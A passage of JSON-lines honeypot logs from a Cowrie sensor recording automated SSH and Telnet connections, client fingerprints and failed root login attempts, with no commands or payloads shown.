{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:05:57.669163Z","src_ip":"59.126.224.134","session":"b197904cfbad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52416,"dst_ip":"10.17.0.5","dst_port":23,"session":"a47bce552599","protocol":"telnet","message":"New connection: 192.119.13.58:52416 (10.17.0.5:23) [session: a47bce552599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:00.937938Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":54604,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2b7bc583f28","protocol":"ssh","message":"New connection: 77.105.130.18:54604 (159.203.135.109:22) [session: a2b7bc583f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:01.505774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:01.512500Z","src_ip":"77.105.130.18","session":"a2b7bc583f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:01.613875Z","src_ip":"77.105.130.18","session":"a2b7bc583f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.006975173950195,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:01.835871Z","src_ip":"192.119.13.58","session":"ad8ee261ea19","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucio123","message":"login attempt [root/lucio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:02.059068Z","src_ip":"77.105.130.18","session":"a2b7bc583f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:03.163105Z","src_ip":"77.105.130.18","session":"a2b7bc583f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60034,"dst_ip":"10.17.0.5","dst_port":23,"session":"6544df31b7ee","protocol":"telnet","message":"New connection: 192.119.13.58:60034 (10.17.0.5:23) [session: 6544df31b7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:03.168935Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":43650,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed1d4b1133e4","protocol":"ssh","message":"New connection: 92.207.4.157:43650 (159.203.135.109:22) [session: ed1d4b1133e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.300458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.305418Z","src_ip":"92.207.4.157","session":"ed1d4b1133e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.417244Z","src_ip":"92.207.4.157","session":"ed1d4b1133e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.21.62","src_port":52542,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d96aba6017","protocol":"ssh","message":"New connection: 216.59.21.62:52542 (10.17.0.5:22) [session: c0d96aba6017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.611543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.617164Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.644118Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:72:09:3b:0d:72:8c:5a:bf:e9:8a:d5:f2:33:5a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3fxnDTusxcFWQzK9F4SDsqo74vsWYuZdFd9yk8rQSGS+k8znMsifADkAb2rA0Fs56wK8CSc9ZGYTHvDKOtg4fkeZkXWZ+v+4HTisiUhGA64MmLmg4ZFGXuj+W/pzNj3P1kwEhOC7UGe4DUYVewS/oAwGdoljXpCnAfcY9TfMK8arTbUJ0ft/GxWZumpfwSCPivB0cHw86Nys9u/8KhRR4NhqXfoYZDz3z2gxq6rfq6MU/SvFrnYQlvBz8M0ko9YUtkE+xrXdba3YxVAa3kORA9b1/HUHJ4J3WSlIvrjAnoIKufxneZfOGXWYEaq5bFy96XcW1uWsmr4atjM7zwe/R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:72:09:3b:0d:72:8c:5a:bf:e9:8a:d5:f2:33:5a:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.753218Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:72:09:3b:0d:72:8c:5a:bf:e9:8a:d5:f2:33:5a:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3fxnDTusxcFWQzK9F4SDsqo74vsWYuZdFd9yk8rQSGS+k8znMsifADkAb2rA0Fs56wK8CSc9ZGYTHvDKOtg4fkeZkXWZ+v+4HTisiUhGA64MmLmg4ZFGXuj+W/pzNj3P1kwEhOC7UGe4DUYVewS/oAwGdoljXpCnAfcY9TfMK8arTbUJ0ft/GxWZumpfwSCPivB0cHw86Nys9u/8KhRR4NhqXfoYZDz3z2gxq6rfq6MU/SvFrnYQlvBz8M0ko9YUtkE+xrXdba3YxVAa3kORA9b1/HUHJ4J3WSlIvrjAnoIKufxneZfOGXWYEaq5bFy96XcW1uWsmr4atjM7zwe/R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.757553Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:2d:9f:ce:a4:7c:d2:13:40:ce:a2:37:7f:32:22:d2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPvOfWG4dYijdGxY0kEDRNRWGWHaJffgSUbynpvkuumO41WcYTuDMfO15aUh+Fcn8r6khdzEbEHoL87mC20Zy8HCnpsqukHnGBLk6HHRpHpRE59Oln1GIeqkP+e8r4I97TalLkFZIRiRQLFGwzvricbh8kYG8mbU+khYS2qfsXflAAAAFQDzGCsOM0hmhnMo6WmmyFImF/h+TwAAAIEAroNfg7yZ/kKrX36u3QsDvnObVfR7K6hcoIxgRRHP0sJID8Lfq+YsnkWacgzX0mok13h56JhW4SVnp5FkDL4IS8ROKmib3mCkMSo3D5PfTis60FMlmatuR2qDfvjcQUJs+ji7ApuO+bOfMcFMzWEas2jEckXhUd3Cg5of2ysvoX8AAACAclQXTXpIdeeuFTERXrLBjUR6JW8LqU5WWvERN53+1upKQpMl9IdC552+uT7tmnCVElJGW5u4EBkiqVtT/RBG4jUov2elnqm3Y10zEdt1gARnNMaqFe35aW212XAZiAtzFbQhGAPHm6jbAfBu+4NM9CWcpPFgjNfxNUnW6saF+Po=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f6:2d:9f:ce:a4:7c:d2:13:40:ce:a2:37:7f:32:22:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.789144Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:2d:9f:ce:a4:7c:d2:13:40:ce:a2:37:7f:32:22:d2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPvOfWG4dYijdGxY0kEDRNRWGWHaJffgSUbynpvkuumO41WcYTuDMfO15aUh+Fcn8r6khdzEbEHoL87mC20Zy8HCnpsqukHnGBLk6HHRpHpRE59Oln1GIeqkP+e8r4I97TalLkFZIRiRQLFGwzvricbh8kYG8mbU+khYS2qfsXflAAAAFQDzGCsOM0hmhnMo6WmmyFImF/h+TwAAAIEAroNfg7yZ/kKrX36u3QsDvnObVfR7K6hcoIxgRRHP0sJID8Lfq+YsnkWacgzX0mok13h56JhW4SVnp5FkDL4IS8ROKmib3mCkMSo3D5PfTis60FMlmatuR2qDfvjcQUJs+ji7ApuO+bOfMcFMzWEas2jEckXhUd3Cg5of2ysvoX8AAACAclQXTXpIdeeuFTERXrLBjUR6JW8LqU5WWvERN53+1upKQpMl9IdC552+uT7tmnCVElJGW5u4EBkiqVtT/RBG4jUov2elnqm3Y10zEdt1gARnNMaqFe35aW212XAZiAtzFbQhGAPHm6jbAfBu+4NM9CWcpPFgjNfxNUnW6saF+Po=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.794004Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:28:db:5f:83:68:80:39:4b:3a:70:54:a1:c9:58:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM9VwhLl707xsdYXdymOYY8e8wchdu1xzgwC+97EGlYRbz7rimBUVm6GURcOpIoEFbYLppG+NkuTK4GNtumLrhFk3/meYkk4ilDdLYbknxzUbmTs/WExJu4RBvlyqg1WzSKb3cr+IEbkmqbzsGZ/dmsqJtZHZtkvfjIy2Zf0r2VhpmH7abFD/J+ymoroSAI7liqITwvaIFSR9G25MP811rr5DNQwTR0ZT/s1AEv/hy0yoTDzOoVbFNaTIzpJqUwMgIAMznGBVHgptSKsrbmxEmDGLRViHCsO/5sIkN76Ptt7WTZgirNFja8psNWoNYnVxozKZTX6Y+PM+lRa2aHhxr2X85ViGaXMo1x9vu6j9btlB1eM1wxy3hAEWB1jjfqUkkfk2SS3ESrBFjbA7yVm71r1mJOYJrHSAWPss0C5q1ED61LRcyPe1/Un6D/YYQhgIbSbqshoBIuImsUn8L4GbD/taJWz/k4O9lxpUgxWWfaQgIXDLGmpylJT3+0UKTVk8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:28:db:5f:83:68:80:39:4b:3a:70:54:a1:c9:58:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.823963Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:28:db:5f:83:68:80:39:4b:3a:70:54:a1:c9:58:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM9VwhLl707xsdYXdymOYY8e8wchdu1xzgwC+97EGlYRbz7rimBUVm6GURcOpIoEFbYLppG+NkuTK4GNtumLrhFk3/meYkk4ilDdLYbknxzUbmTs/WExJu4RBvlyqg1WzSKb3cr+IEbkmqbzsGZ/dmsqJtZHZtkvfjIy2Zf0r2VhpmH7abFD/J+ymoroSAI7liqITwvaIFSR9G25MP811rr5DNQwTR0ZT/s1AEv/hy0yoTDzOoVbFNaTIzpJqUwMgIAMznGBVHgptSKsrbmxEmDGLRViHCsO/5sIkN76Ptt7WTZgirNFja8psNWoNYnVxozKZTX6Y+PM+lRa2aHhxr2X85ViGaXMo1x9vu6j9btlB1eM1wxy3hAEWB1jjfqUkkfk2SS3ESrBFjbA7yVm71r1mJOYJrHSAWPss0C5q1ED61LRcyPe1/Un6D/YYQhgIbSbqshoBIuImsUn8L4GbD/taJWz/k4O9lxpUgxWWfaQgIXDLGmpylJT3+0UKTVk8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.828431Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:06:f4:90:aa:3c:87:45:8c:a7:75:68:f6:e0:26:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAtcrinHf3wUNqan+32Blal/LF0yFk02QkmuZwNwGYxA2Yv6rv7B7BHxlpOr075KRKjAIZB9scGubw5YGTtNzesYwgBbgxNorsw7sq/eog5QR21z35kqajkZC3aHI1sEETdaWiC7iDSWusai13xjWFo+/qo4iVFUglZz9V1Iw9b47ykJiHH91EjP0TwKLfdgy9hFBQHJ3CY9zPUg+BPpL2p9zZybyaoy65BaCBbDP6KWEtwfdYAzOsH3Ujii4uoLcEEkgIAVqT7bY28XobIHc/ChoxLDt3w6SiPIWcZU0gysv1h8f/TxaXik+EqGMSsM1C1x2FUPs6GqMTpnV6Iq+SgqvAtR2JKKutvIb0EJ6uthKgQU7OGnf4OBSAuCZnGhBQnUrmk4NThKIt8N4VXG2aZeZXYz1FY0tuVGM2FyutJS2OvafAbP8+c5pJttsIP1fAGi+0riVFpNPhx72wYUGXzL6pVHzHWVXEzw1CbkUoxJ1vFuXxF/f4bTBA/2uUjnZl8bxwf0mIdTpdwFQIEKWHsu0IQn7MOJ7LH6h8k55LsUdP1M94oIa5z6OEHenCDcQG2apqN+CJhZDDL8sLmTaMHDxglbqfT2QvrW4TfZzb8+feLJhqHCoWRMpA5PvTCMmJ6YeQdTHv1S6PS6V92a9it0G5gNndKC+ROSx9DFI/3q0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:06:f4:90:aa:3c:87:45:8c:a7:75:68:f6:e0:26:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.856621Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:06:f4:90:aa:3c:87:45:8c:a7:75:68:f6:e0:26:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAtcrinHf3wUNqan+32Blal/LF0yFk02QkmuZwNwGYxA2Yv6rv7B7BHxlpOr075KRKjAIZB9scGubw5YGTtNzesYwgBbgxNorsw7sq/eog5QR21z35kqajkZC3aHI1sEETdaWiC7iDSWusai13xjWFo+/qo4iVFUglZz9V1Iw9b47ykJiHH91EjP0TwKLfdgy9hFBQHJ3CY9zPUg+BPpL2p9zZybyaoy65BaCBbDP6KWEtwfdYAzOsH3Ujii4uoLcEEkgIAVqT7bY28XobIHc/ChoxLDt3w6SiPIWcZU0gysv1h8f/TxaXik+EqGMSsM1C1x2FUPs6GqMTpnV6Iq+SgqvAtR2JKKutvIb0EJ6uthKgQU7OGnf4OBSAuCZnGhBQnUrmk4NThKIt8N4VXG2aZeZXYz1FY0tuVGM2FyutJS2OvafAbP8+c5pJttsIP1fAGi+0riVFpNPhx72wYUGXzL6pVHzHWVXEzw1CbkUoxJ1vFuXxF/f4bTBA/2uUjnZl8bxwf0mIdTpdwFQIEKWHsu0IQn7MOJ7LH6h8k55LsUdP1M94oIa5z6OEHenCDcQG2apqN+CJhZDDL8sLmTaMHDxglbqfT2QvrW4TfZzb8+feLJhqHCoWRMpA5PvTCMmJ6YeQdTHv1S6PS6V92a9it0G5gNndKC+ROSx9DFI/3q0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.863499Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlcvlc","message":"login attempt [root/vlcvlc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.882961Z","src_ip":"92.207.4.157","session":"ed1d4b1133e4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:0a:3f:82:b8:07:99:71:15:49:3b:6f:9f:07:f1:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6wLv6OF+vwo8FHPIPx5kKeRQmM2GWbrluSdIVfix2ZiBDdsDbhOR/bFNcxfmisPO2sd9NrCAPYBcGcbFOKRAAqDXg39NpfbsIL0em6/MhGn437dC+JRDR5oAS/0RpTjcy+PaewC43/7dpjfD3VuD444pjjS83YrugR996t0hRSl9QPQROYK8QhK42Y77xJeXbtHmnaq50sC1D9o1F2HcF0JSfmFlyPPz4ZCnz5tcNt0hcZi0td70RD7T3vdoWKdckZm4bEhVlSgNUANVluX/4an8TgNIJKamYjm2RO5DjCiChuhYBl3Qv0a8Tgickxh/ssKSYoIFmENclulVp29gr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:0a:3f:82:b8:07:99:71:15:49:3b:6f:9f:07:f1:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.891248Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:0a:3f:82:b8:07:99:71:15:49:3b:6f:9f:07:f1:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6wLv6OF+vwo8FHPIPx5kKeRQmM2GWbrluSdIVfix2ZiBDdsDbhOR/bFNcxfmisPO2sd9NrCAPYBcGcbFOKRAAqDXg39NpfbsIL0em6/MhGn437dC+JRDR5oAS/0RpTjcy+PaewC43/7dpjfD3VuD444pjjS83YrugR996t0hRSl9QPQROYK8QhK42Y77xJeXbtHmnaq50sC1D9o1F2HcF0JSfmFlyPPz4ZCnz5tcNt0hcZi0td70RD7T3vdoWKdckZm4bEhVlSgNUANVluX/4an8TgNIJKamYjm2RO5DjCiChuhYBl3Qv0a8Tgickxh/ssKSYoIFmENclulVp29gr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.895131Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:05.924709Z","src_ip":"216.59.21.62","session":"c0d96aba6017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:07.018164Z","src_ip":"92.207.4.157","session":"ed1d4b1133e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51856,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0e08e49e26","protocol":"telnet","message":"New connection: 192.119.13.58:51856 (10.17.0.5:23) [session: ae0e08e49e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:08.969336Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":38918,"dst_ip":"159.203.135.109","dst_port":22,"session":"124585fa33ab","protocol":"ssh","message":"New connection: 43.135.176.251:38918 (159.203.135.109:22) [session: 124585fa33ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:11.643593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:11.649209Z","src_ip":"43.135.176.251","session":"124585fa33ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 